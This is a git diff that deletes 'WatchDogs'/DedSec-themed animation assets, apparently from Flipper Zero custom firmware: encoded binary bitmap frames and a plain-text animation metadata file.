zp;TjdBZ0xe=Kz$@D7vV&Af9vZ`b20N9+X!i9v=8eZBP(_b$wL|>^Dm7AGt)g^x8cM zlszvE3^+OQcz_F^Q;Wf2QeAEvx?d1+fk!__jZiYWstB-i;Pe9weygCR_ORQc@f?JL zbo#GXBp)AWJk zC}06Z2^7KOfBFFi|Nh^k$O3=u3R05<~uc>mxC!}Gvn{P2V3AIAZY`@j#F{Wu6f`-cF=fA9y){+I(Vz&@b@ zGX4YR|F{MSKL7I%@r*&$|Gb9=5B&$%z#c*S(1XVY54#W1W+40F{y;(qPpCbkT#y4RZmc%X~GAp4B%w!*K|AZcXp!s@1 z>CZPE{Wc>p`-9Woc26L@f$J9sjI6pnLz#R3=92%||CRhMgY}W`>a)PHN|1a*gV5;z zx+Eb5kbLBS=zoI))yUKO4B`izPyHXDKz&&_{Db;bozpMpg;Xw0^$Ct z@Bdx!dc{7z*e!$klRuC>aX$aN3&Za1@BWzZdf;zf7#*MJMG*Y_AUuEfOb{?|df@}( z3)BBHC!xcK+W`Q8XaV8~94I|u5g087Vf_i0Qdj-fA#<%iAVsE@DTg&v*yTBOZz~%Qt z4%Fga|JcyD;32o)fB)%M>@G&*9f{mlrT6=&j6Ox;?*D$?`%jr(An_U(jBGn?@PKOn zAo)eXqW2Cy+p?PzVL)zTz(StR_%!V1Ntpf9#Ko)(=P^JnQdb-s*>i z0}rRd|FH!Pe`+5%R6>CSglIQ=pm|oo=O2iEAn|SjtX_q(2b}&P2!=;I9{rH)Z|XCF z-{KGmMEil?;+M;|A5eJTJRg6v_&@~@{0Gzh!1KWW0MQ|g9uWoyj)E2Z@PFVy@(+?U zOXUyxa6a%5c<=te@tr_u0`UL{d~3o0LuVRIrw^TAKm(htw-?y z45JG`s)x_+Q7Zj6PXSE~0>yx?|MTMU02e>!0}YJ=p+E)*xPS%U`>2Kh^&AH1J|Oe} z2z-nqKn{q6R6+naSbaZ2@&~P7R|3G=uo|!aJQ#n}G2r+Y`UcbvKVR4|e*htmi^)EI zfB(c7AtDEvL|5bQ{(}gNA@zX=%lr&4OVGol4S|AaE z3&wsAHks9Wx~*=s-aEhhU|GVnU{No`2vKlh@67105Fs@Z{y7ynbN=bVzyE`R3l)%n z3!g9e1IzjE+nxj}AoBD5{(w^a4+tJU@PT~({s2*aMQ4BW0Sm|P^Z`q*Iy!mS|37{a MZ7<~U%kjr2?}5vPwg3PC diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_3.bm deleted file mode 100644 index 74796de85c194276d20ebbd588ceba0301298c6e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 568 zcmV-80>}LU05k&s;6LCC|6lk3r}}|V9-Ht<^gxIFpZEZ!PX!+oK9m1|5Tbnn5n{o| z`;UXp1NZ@t_P_oIpeV2Kz|rsjfI|Dj!RHPQ7ry=pAOOR{r5`vi#0FmQdE?Is|M7#) z4k|7wASs^+TKd1!qg@BjgL0EYlb5Iv{>_P>M11_?U^0zeN>czmF+ z3aBuEV+G0!(+>}VUv3Z$h4-Nkwin1=QTQeUfFB$L0ukJ75PYNH!T3N*B?#Ic%iuo{ z_|Pl`Lxg()!*36c3?4Nuh6V*ez(YHqv3ZBe{vRE_2jLCYf06J2Q+f`D2%&$VeL?5| zJ>q=<@*hL+!x5x_5CL~TrShlJArS=#<>^|#R#xmEFaZ4jS-4nP9;`T*1OVQC2qnes%gSoWviDm_1X? z|J}gAh4}=ZY-*d`7%09V^Z#$mhu?#j3+6wb^gRe*#@~R4k0%e892Q^Rdi`PG^2eyv z2!45au%qvkS|_hR_yP?5U~DD%$HV1+P*3K5d^Unl!RjwB|D+Uf|I+C1{vau9!RG_; GAWQhKcN4Gx diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_4.bm deleted file mode 100644 index 74796de85c194276d20ebbd588ceba0301298c6e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 568 zcmV-80>}LU05k&s;6LCC|6lk3r}}|V9-Ht<^gxIFpZEZ!PX!+oK9m1|5Tbnn5n{o| z`;UXp1NZ@t_P_oIpeV2Kz|rsjfI|Dj!RHPQ7ry=pAOOR{r5`vi#0FmQdE?Is|M7#) z4k|7wASs^+TKd1!qg@BjgL0EYlb5Iv{>_P>M11_?U^0zeN>czmF+ z3aBuEV+G0!(+>}VUv3Z$h4-Nkwin1=QTQeUfFB$L0ukJ75PYNH!T3N*B?#Ic%iuo{ z_|Pl`Lxg()!*36c3?4Nuh6V*ez(YHqv3ZBe{vRE_2jLCYf06J2Q+f`D2%&$VeL?5| zJ>q=<@*hL+!x5x_5CL~TrShlJArS=#<>^|#R#xmEFaZ4jS-4nP9;`T*1OVQC2qnes%gSoWviDm_1X? z|J}gAh4}=ZY-*d`7%09V^Z#$mhu?#j3+6wb^gRe*#@~R4k0%e892Q^Rdi`PG^2eyv z2!45au%qvkS|_hR_yP?5U~DD%$HV1+P*3K5d^Unl!RjwB|D+Uf|I+C1{vau9!RG_; GAWQhKcN4Gx diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_5.bm deleted file mode 100644 index c90181f190786f95f5e7edcd1b6ec69fa12d3528..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 603 zcmV-h0;K%`09OM4;6LCC|6lk3r}}|V9-Ht<^gxIFpZEZ!&jlY8K9m1|5WZlO#eom^ z9|xbr6m|dbJwF68{sYf`1wXtz9)DuW0!RQb@To`63N=4?Jn`W5@q^9|MJ_n3U>`s* z`N8Gi2bdsl{@+lUf6z1XRrgY`diO!*NFA^A`cv_FgUrw((q{-f_qY%te?TOe5O|V{ z`X4mV_kd&9Qzq;_V37fqzrI`$NdwRnEaD@W)OZQC8ITBnA@T>OzxVt1jL05eaQprL z_vE<;*Z{!t`}jZbyhMW4LH!oR1|ju5*L&PfduG2NM3LV{R0ETp!^_v zkFq^S;s9I%JX7urAQ>aXKa>w*eAB`Ycn07;aQFl;T2K*r{XeDh4~!@tQCSp`qBg+! z`M`sJ|6A}BsMw5CgYQX@0Jr!21ga`A5P0*$;s8(gPc1K?Xj$Xu;DgivKKu9;Jb=|i zkAFY@1CV}yVD;#O+yK9P2pw`7v%uG^a*ct zVE6zhehy487(RQ@^dW;7=3IF=e7NO<=lA{OLx+RQJ};j(BlGgFjFh pv|b1EkB7?skVXoAXa5xggVnuv{;mfQFpUTvet-XO-M{)FQ~d)!9{>EI6>yD&06oxopOfC25qX2p@$Uu+NI~hn zz<~?;A3FFvNk#n+m;iR}GJOf?w_)=Ih=i~H;^2Wu9-sSvZr$7N5yhTd0D5hMCHen= zL<%7EFAcYM?fL&f<@XP-eI6#EONf2U!@u^42p(U52mS{EfIuK#4cF`%A@v4`0J`hC6rfO&r3A`gCeeA30r4t7VJKMklOd};4$9F!3FUtuuS0KLOd7&yU_CCdBJP< zIhP(z@(>_{3;WMFC%is*@qGE^=E9GHPo9?$DSG4P!k>uC_up8j&ORS2`awVk`JbN* d9+U7P{wM!|se+Ckra$ff#04$5Jm7r+$$)TxLA(F} diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_7.bm deleted file mode 100644 index 1ec74f9236a304896656bc3d068cca05fc9b3d98..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 689 zcmV;i0#5w_0IdT5;6LCC|6lk3r}}|V9-Ht<^gxIFpZEZ!&jlY8K9m1|5WZlOm4OfU z9|xbr6mjr+{s?9KB%l=j@bG#4f#=@@kN{!fQWT)oecB- zI2@3z{(+y9-XAfs_d(`JC5g|)<_|l-2yNi@-rzum9sOJTf2L6qi~1iiVE6yuaj2*d zb{{zY`aw~OYPv!ZRS-Pk@Tde50|4NE{Y>%#hyZ2vZA5~h0Kgf}{tr#n3q`8AaR0xS z`2*Aa*`#}Y5YYTj@7}rxr*)VADa1ZL5B#4}IuHoxx>0qx2hI-w02MF^3ifIk2KfPCz<2pj^F0EJaQzx#PSqi{&2LIdEANFn{e z@QcX)BJn_+0uk&-usr|+2(AmnADhp(Jmc^PU_D`0&gy)@>42(WvJmg!eLwj4czsdh zd@rB=eh**(mg7QM01*05@R6==>Q)b4h#4UJAO0*@AOic~K!gby|JVN$ z3@7i30~`MPRVTpTxS23{-0)yRpFk_HJg$NSFhAH-;}{K8u0g7T|F7Vo-N3=+xxiod z@K1CPz6vewj0j(yUv}UB{?&))--C@y=d1Vr#3Csj_$YhO^dX8&0K9oPe7NO<=dQ#I zUif%CvEif^kf^2ZF@K08!{PuxUVrei^&Zms}ojFi8$XR>EB_ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_8.bm deleted file mode 100644 index c0d53d465a3eca7316da051b34ed1981a6335a1c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 579 zcmV-J0=)eJ06zl%;6LCC|6lk3r}}|VA3YEu|0n(cDPzG$#R{bV-~=z2B;{a3{l~%Q z@dX@w9>0Pae+eiBKfF91e_(m{!6X0}cvOWbHD7o<%g6v97(C$r;2`nA>IOdeJpAEd z_kzowuQ(a`WoptJA9NmMf&X>CsiGH{Jk0~I{_er+y}*G8Ha-8j0D1HBQGY|{ztu<} zkqJjdKzp$H$KU`1z!61MK>2__1)f|0eSSma4_pKSK|p|izfJN7r{e+Om;3?Z&>;H$ z1%pWVK!2aG`FH{8fd~)63;u8reImYqc*r&oUBZlm2hM;G6QIL4h4g{I0pg#~dnd=}55%aD1wLZ_kCFr$tTEbuOXa_{1VjLGPqyE@ zA20yN{}-GGdjJR^0Q>y_^GBBe9=!1SKp-$206l#C5Ftayg8`rm+sGe4c!$q^A8Gq| zU^-j}++Lj!A%B=-f&bt=K=b>82mgPcHwFU<8Hhapd{7}r2jq|-dED?|LXRudY#S0IWT_C5QqQ( diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_9.bm deleted file mode 100644 index 020a8633eba61fbac8edb3225831c081df809a77..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 686 zcmV;f0#W?|0ICB2;6LC2{(#5;zw7uszzOvNr0;+PF8Cz+A@q~@0HxLi9uz*2uzCIn zXR8Mv?k)=}|LhcT|L_pL@$h;70q3s*pWYr1DR^Xe<5vH}!lhpTj1xd5AD9S#{^)qr zxc~Zfr^E*ziB#a=^7-HNedv0OeBko;z`^C^ztuncvFQ0n=K}$k=U@J*i3k6WRGkP2 zU!ZvVe}1*9XJ9}={&w~IZ@e8KBJ;qp55yWBcD)8F19v1N0U)SCG?Va2Zo%g&fB+F1 zAOYXMia$vQuk>D5@cCEbAoaf_hX31t7JeB(1`Z+tLH_*#V|N#n{(ZoK!9Q3EAK*SL z@eiK*fdztOFcLq{=ssNnd2hH7(SYD-|EB?8!{rzH@F76)fkS%>VGobP{{=3n0Kwyb z2aFsNa6lPE0p~1TP*4em=nA+l$CPCeuieyo2S#hwuUEK!txw1fMtxenI5}N6+wHVeua<0#N`c z5PV=l`R)VGK3Em}r^>(8fx=6Iz8Z$7TW=C{1JCY1KD=H*povs8qx9kc#{L2s z1p*&X=Y!7g;RlwE1TPQ(=mF>bz=O*Q4@w7YP+z`S40re_Fg)NIAo*>eVe-M3$X;0h zd2i}qLasqW=zu@*l;>4YdH5yU^U-6$<#n&^by}*fR6c$2`5^_ep8v2AzIAXRc)`ct z3M@bR1Qg1B!RhOR|A2#+56{-VA1L^Kf3WcRU%+IGFd2TU|A2W2$N)O<83IN>`Wl!# U;oy_~U;O}5>x0h+^Z|_j{5N7$5dZ)H diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt deleted file mode 100644 index 6dabe353f..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 21 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_0.bm deleted file mode 100644 index c235da8b3e4e735458666b4d374fc65a8d361279..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 518 zcmV+h0{Q&`00IL4fD_;Uzu>_t0AIKWV8HwMhsHJ!ztB8jAnL#W0AnHl17CmtpMuH` z4`67320jBQ7>uvs6buf03Q+&&Tnb(D^9alEPLJQ5YC!r32?W9Q{RfB$ehCYNhebvp z3W2Cc#(XpBfDZ%o|CIy*P!wqE!Ayoees5v}6H0&+zxlxbyZ?0j8;AE1{}Pc>VDpva ze}$(29sfr{2bfAP@CisN0EfSX@K3e?7(e6?-{gD%4CG)0=g{o<9$Vme!QvBzfPfDv*cunV{}2C% z%yd8e=jDz#@Oabz^Pix7CofXd>)HbFU*CS>4=R{EKm)V%hmW7<2b9gGalb%3$0DpS IdG`CjF^RwU?*IS* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_1.bm deleted file mode 100644 index af749374bfd4e7368d3ef9901f16e003a88ccc62..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmV-D1H$|P067EyfD@_t0ADBwVLA&Cm-uL&P2M_xn z=&t{N{d+hJfB&!dygpO^=d1`f-{0&qKVR3M|E~v+=lUBj*bHy~-?&g=;9>lJ{^0TX zfQJ4J5TL=p~)pZ5RUZ5#fy1|aj_-!UQa|NZ;mktL7}qw*aPd{5-pA$nioLh=TxxPYU-kZP3V zClFcv)PevQS-N3`I51nilJMw`5&#%`K z6-=g9@G$f1z%kG70p$mGj{d9$8U1J;PhkKJM4mVOvGAE@g*keiN@CAY0|QJW2($nT z5Wp3GzW~U1YJ=K<#-Gsvj{(S_@%4bmPnQ2*_5?KXkVb4M9pBsef3tW&=jR2D^q4<> z_x5}6W)fV!_Wt-hdiP)aK43pd_!MnxQ2-Ct4-fwL)P<}5e@|uvAHOMhKj4VqeJHW} z_wVL0>)6NR^)U`m1cNN~NzQ%-zeofFFaI})0Aus`Fg;+f<=~A+|Gl-t z0ptlEtUfpuFTMZ2cYqItSU>!I&Ug+Vczl1>aCraV_yw@QBcJ6!`1kw%I6S&McKE<2 z7vMna`~U22gbY89`S@Vd%fSGVdcP<21lP@A^pr zHxJ)mum98k^QLfs3%;H?ID9}ON%k?1pQ}Qa&rS*`*gXII@FC3pBcjZM&`u%pkm*3B Hujc^7sAkAb diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_10.bm deleted file mode 100644 index 655541f441f1b458c61311a0c8070b4034c0ff36..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 602 zcmV-g0;T-{09FG3fD*m}8o%Hapajo=hh7i8KmUJC_NmXufYHPzw`YE{~iu*R07@~E|5q;hiisFI1mB=|Ks`}^!yB8`|KzlN7B;rzPIps z|KpGk06h89Z(0a|1ziCQ3=Cduf0zEGFah(xWyzPE1-{epIm9TxP!}2vdEK3|I+&%Kn0fpYS%z{oeuzaK>k<0ujhS2UP-~@crN<07=5hMh@Tq_-0L3+>N-#`C^Vs-WL?EmrHXRrVK z9v~F{q49=&=l-BcHHYFAN%(wm>Vfyy!6HWxdP6+)b||_@5Nr|;h@ki4;s3|LqEa9k zcL@d>8F_%(gTKFl$P{}2!xbwMuwjBv-~~DN@*dYv0N6l>cKi{<0M3-Z{uu~rJQ!JX z;`fKG)}8_saf8UPzVT5E5+8m9r`&wX0S~7C%2hl75Ub4zYmkBfBq18c-Z0(Bf>)6#7-OVEWl^0`Z13GehnBrr~fbbJVt{*zOf(w1rL{h oKfGEzHUKX^e)L|KaX`Q&ACUQT@rkp%kIUcz5J_Y3f%89)^e)*g=Kufz diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_11.bm deleted file mode 100644 index 6e76cf15b6a04436cf35e013eafef206c8dfdfd6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 626 zcmV-&0*(Cv0B!>RfD=9f8UNrEpaj=|hl&rrI0$2ZkGMX4U?G*%L-peU4L{}%pWoyL zHU9u4{ow`v0Ed1LPW}7{Tl%ml_<%#-fQr}E0*(CIJrqKF`rfbbltP2_|KP_d{Q(a^ zic|lG{~ld_1^@T|m+F7;@M_!Wun)RqYvJ*qgOV8l;6OLPVUOrP!1TJpf#iKIwyWoV zD~JH2kPSdQ^!Q(I{2rOmD8a$y=GXj`h5$mr@+jy551;^N|4<=RqM%Vl5CEW715khm z6G#t>kbnajfLs?s02v$!CL#2VKs*5R#)%9*l>jnF-=sfK0@vT9F%Sgj+=2j${#5ci z|FFI*eNp*`$$*vc;Q$L?q5+Nf{oeu#aKgvw0vFrv3OuMm1g0J!5db6n9w7<Ld?|5LBao z_JT$(G!gKC#H>ETLVxAv0}zh>-cBG;ga*D~Fo5eTV8Z|w|KJ5Vx8Yhl;6bqm#0ER} z;yyPp0pP{y{L8Ni^KtWVfDB47zu+M`;2{W*(4pgn7ZEH=q9`l)r99w6IF4XaE`eutDSZ5(%jQ2@4OGe?PoUn9SjD0eSQHp`-qnMt=a5egoyp<_Fq;(4YK4 MC6B@f&-4HN0FW{60-e`_1uy~U{-80x=jdD@d)NPz^AH#0SjIUKCk!+a9BVT@8B}ziB;a!A@cvt5k zumuhSu>uf0LSq?#1JXgr5|fb5r}j@( z1`YklOXaBl^!h+y1c$y)Sg-y|MGKI900qCIPGY)|;XX`0m0dKFif17Zh+3tokcaR8 zRFcJ{g`^0s{--L``a$X053KqDQs04yIzJHDjmQW!U!o~N;~yy;{u8MOt;hd82c3R_ z&b1f2zk}X&i2|MY)MoSd^}esC8m_9;1u)Uy{h*VS zA_M@}Z@|#uTTpx7f#+Y6S_MWBL81TkK2ZCB6921bo&5BG1mCKR^ne4tiJhDv3*CWJ z-VcFth~s`TMZyXvu0g;DfDhmakGKq{_m74=9{w;P&*&HiI)DcbY&d=bgdccM{?;BC W2cy6bdH(PQPzi^j6yNIq;9ekxj~lcA diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_13.bm deleted file mode 100644 index 79381f6d582826ce196a23bc1f32df3590191219..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 573 zcmV-D0>b?P067BxfC_*00-cwD1uy~E|6oJRgW^B=0geAZMZkmKpZ)?C{wsn9yr0+v zEB-G44|^CDB9Ngef=`kUPMNIr;FIWs(ys_375oG}{jZQ3Mzb0AueJ6$lPM1AqnE5)VJ^zY2FUIe+DUfEf1SkPHIc>0z?NgUZ_t2akXrP=Dz_ zz5s#`jzi)GD42YK>AfZkbl_<+zk|%AU^0bz7bAZh7yxJH;_tw90Fv;U4huj6oDZn5 zAO8#zQJ4UgA{`I+-~Y!16lwr|J-mQcVDpUV6{mfHY8!^jt*wIRLG&LV{Fkf`A{k%uzo7Y5f7*KRJa6nm+KbYw|C7X6#1AF%Z|I-- zev}wMA@`5gBYu+7LgXJq`PDQsoe3ON zA$W{ee^!7*ETHu42iAW@@n6qK5fvf3$5qrtFUS8MIv#!jum_lQet-GsJm>HZ0O3L+ zA5Z*;1iE0*gVG4sKz!D@K>gcjfTw;%nY{h_o5+2T#sDfu$O>Vj|NEK;BD%7kd_OPs zeiNVyn2kRKAq0+!$RB(7(0$-hmia^O0AF9|G@u6=34Q<*-%ua|w&3k2udFGhg8)}t z9iR;Rfl*#0=lOvOe|-31!VlvD9R7iT0uSvRfr11KUjXVb0z+FP{-3}t78OZ~llUGG Lc+5Qk_pg?SoyQ62 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_14.bm deleted file mode 100644 index 3ea0b72989ba41bb484084c940d576f3d451f690..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 562 zcmV-20?qva04@UmfC_)}0-Xzh1uy~U|3E{kgXic28~pzZf(N`m_yj84PXZ5nKdcB> z`8*IF^e`%6U_e6Of=|Q#0-UVYdhki|1L>!T1&Y1`8-1_j4@!I#9#j2(ul0TW1JZvH z-W5m$Qv-2;3Wx_~ng9wk4?pd{3J*Ge^aeUHxpv`=AzPd*mQeqQ3~jLRc=$o(SNwp+ zKkx()d~^X~|G>v(KL?$31Ru@Dyhd#JuQ9%Re9|t`Cja`t{f&veX z{d?^v-i^faU>~5n zhJ)ICA`tFG4TY*-#p&^42?*!Zk3d+(;tykh=o3m08S7B*@C*PwL?Rzg{Ff*%R#^km z6|H43J-1vSdKm~Fx~r%Z@4s@<6VJb?H=ro5<1+vZ2tI+M|ND>UNU$=S|9&5x{sqYo zz5DPFInR_n_wk}x{UG-MFMKqIq*D=%Pf7s0`vAZm9;IPIEjo$!cKZHs>2)Hc|=p_jS Ad;kCd diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_15.bm deleted file mode 100644 index 271aca5774cc9a57bb1de0b5cc4ae8c8270b1acf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 562 zcmV-20?qva04@UmfC_*00-Z~M1uy~U{Xj9l=kUP!{s|7Nfd{=m`UER{4+IZ+Kj;c_ z$PhjHU{r~g&i)B8!r9=ULhpi4s1Hm$1N>DW5bgHA0D4E{VDhi_>fhVn;2K}C(7`){ z^^gU~0CJ=;fCz46bAXA@`&)tF5=Me7xIDY?#*nSfE-NT_Jg+eDc=!S3M;VlS&SCNB zd`D;KJ&-)>pdtK$iWCbg_@KZ9DlPm5s0c3zIVIrozrg)J|F}Ibuo?hR;Tn(c_y5NP z6lC0<`UQXrK=X}*(*GgqcEF>L51yc0eb^<1!fNve9sXY|#9DzO4=@5x>H66obj&mG zd;jUx=q+(9Gxx#_OMedkOY`7yzoJiD`v;Y0|0k4%$;ew#5!dKn*?lF9K=J?&=txm7 z^cE5yPy%o0l9?~0E9FKN4}_NLFO+Xh&)(_KY(Zh>+>B6i69t2di_P~|AL3n zv_hc=q@xu2V0&wc=noQL&;5Xc@6@j+bQl)=zGCt6fs6)M@Va;5R)8^vkO+JF0Q~?5 zekYy&S4aYwJs3$U@`v93G)r6Q0Z5im)PN-PA(s$1JAeOhJA1>{Gw;wlb>uDpSmjeF zUXB0j;fD#o490i*1OUSLQIW^+8UcI5fA@d<{sG|RBp!df0h9t!@FEIjYrlXPfHUF{ A<^TWy diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_16.bm deleted file mode 100644 index 2b5d538b3997b915d3bfd79befb5bbea21c58b74..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 554 zcmV+_0@eKi044(efC_)}0-URY1uy~U{Qxn)=k)jhd&mEvLchXrAor*L0ENGkV8QQ) z`v=a7OF#kCz^Rvl1KhB)cn|mpHtIIF| zN-_^m{Rnn^@EJzW$={G_Z$MGUhtAYQN>_v4fFb#|k{bwx&r%`}H&W~V(l2miXYPhC z4m-I`-iOBi4@XIV<-hAaXg)Xe$zSTE60g!f@ck%of#uZ~rAz%Mq=m>HMijr{Z_?UG zFpY>GI)^AOh88Qc?MX#DatJrBW#+@;w* z7_{~iq)jPAMhimpgVa7T@)6Hr8UT5NN8%3_A>ZH_0Q&sHLSjh{5mdiXdjH{ClT*+A zfK!!Zg~q=*_+pU=Ix_0(Zg>|NeyQzZbULKi~uXjJyG!@pphL?gd21fz$v$H}U?y7_f79 s_-8Y}&@fJ803I~ha{LDXs_?KmPv9O6fYgEMKfVCU0Vwnr-oNlJ2q%^g;{X5v diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_17.bm deleted file mode 100644 index 3dbfae9e40ac179f9a48d9c9567352a552654999..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 578 zcmV-I0=@kK06qf$fC_*00ge9uQ{V#30CE41|G)pw;jjSr&;J00e~REi?~nQc3x7rr z#UK6t0+c2c4}6$7|MIfg-@zxv3Z~Fp$ExMfB~DcP6ucL z7Yqhl*aO)i9FOV*c;JGJgVV1d(EWg;&jgfc{E9KOSHOdx51AnE`{`E)ZjdKB01JPP zq)2OqVF#E2H}dNAKKi{G`J~@TkN-&ZpuxX`(Hwf;)W5VJ8~^Y$TG9z`;vedKR2V=a z>W|Zf{*vgQqz@nfx=Q~Qy;9*I@&OTjXcVapAdW!s_m|fxB81XJN;fC@VB QdPiC04;e?G!5@M^fXogPmjD0& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_2.bm deleted file mode 100644 index 54d98a982ea7dd7a5d3bdc32089a4d70c2fbc06c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 831 zcmV-F1Hk+N06PQ!fD^_791tZy3-$ls@ZeGXgX{kc1-<{h|M&hs^Z1YW7=9oS%lQEz z1&;m&U)X>9`TbA~b$Va)|MV6buiD-h9=@=a~+!@F`Z~xo&0});CgU8X&`Co27 zMZv%(8jb(2|Bhyja$))hl>UQI^lQNbcDCN&5-@sy{5THB*=9ZK{sKaeIsP*TW6GV2 z?|+%5FsSAD zcs%e}!b9cwum9>a`Q_k#J^a1;AY~IE_r>Cv6}emYzxb=TfBEx(;s4Xfq4>PJ`5Cyi z;PLbS<1cgncf$e&89uynDv|30%kBpd0bIkP02=SG6lM|t498*v9sV8Rgo7jU Jfl5Ek0f<(JvD*Lu diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_3.bm deleted file mode 100644 index 35a3d5b857b4e87fd1eb2f9dff6976b32c6ca1e5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 712 zcmV;(0yq5u0K@|SfD@_t0ADBwa=`ogfQA$gzvusd2?tdCJ~#NE`}_=D_#9{8 zqLc5xV8ZTz%fJ86gUTEH^@hkMUGNx$L;x{z7==g#SI{8y#>d#x0SEWL1Q&1r_Yjo- z^Z)*e&;RcGe?X%TFb&{HTi}b6R3a^{un>z*ZrR-2}D+66(86j zVgH>E`DlOp@}%Acdc^;y`~SZF{thkJJgf04m-GxGad8t!#6zT{0L2b$^D&lw1F0*C ze8`4hI;fOG$9q4Rz~DcC_?QqptMUB@&;c5?_`d`ez@i6>Fn9kjIekVA2UZgy0ESR1 zi2Ohd;aPZmOUwZ92Y?8$U<5%ogt)*1zxzOA;08J5@8A*8Ay5C~Fo>MB;W3}}JV5jF z|MvUzNVrG+AMdvW09o-s{z^rw|MTZ>6aUIx2mmg8E8=J`_6PaD_y3fFxEMbZ;0+Ln z!v8;g>hOM{F@xN`AYtqO2o{QeF&Is7{TPgs}l-+!|}2j~C(LGtC~pZme<>4(F>$J-!`0PaR% zfK6l9@Ogi)`1lX|-w&`O#=#!;lY}B!aQQ;;4q<>tfrJnn{BHseACE8p(Sy$j;xRaE z1O`7qxWFOt!nyvh^B#Z{cfj$0-{+qrfyPz*q{^l{k$ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_4.bm deleted file mode 100644 index 897cb762714059aa333bb9d6c0edaab927d0b18e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 661 zcmV;G0&4vM0FeU!fD_gN92g})3+4ac@WA{0fQA?kzt{f16W9Z$|NH?ANBj?%xAX=u zP<&ti^YAHBL}CCy(Rcaaa*Ko8|L?8!c|c-^-$94JukGtX5&M^fW;?cwa8+y<~>(vr23@U&G%7G3_PoM$n#p2ILqLS1GXiOo$+(yg<02ho! zBw_#I|Naoek4NGUJ^;Z4sks3TKEvP&kN|mLLj;r=);@qy=fUld$<2)k8#OdPFN-RW z0DLPZhvD>|6j9*+0QQ6Z0ptDafyE57{AC~S;AfBT{|VzC#7tYi_fNy{U6=X+3?`dU 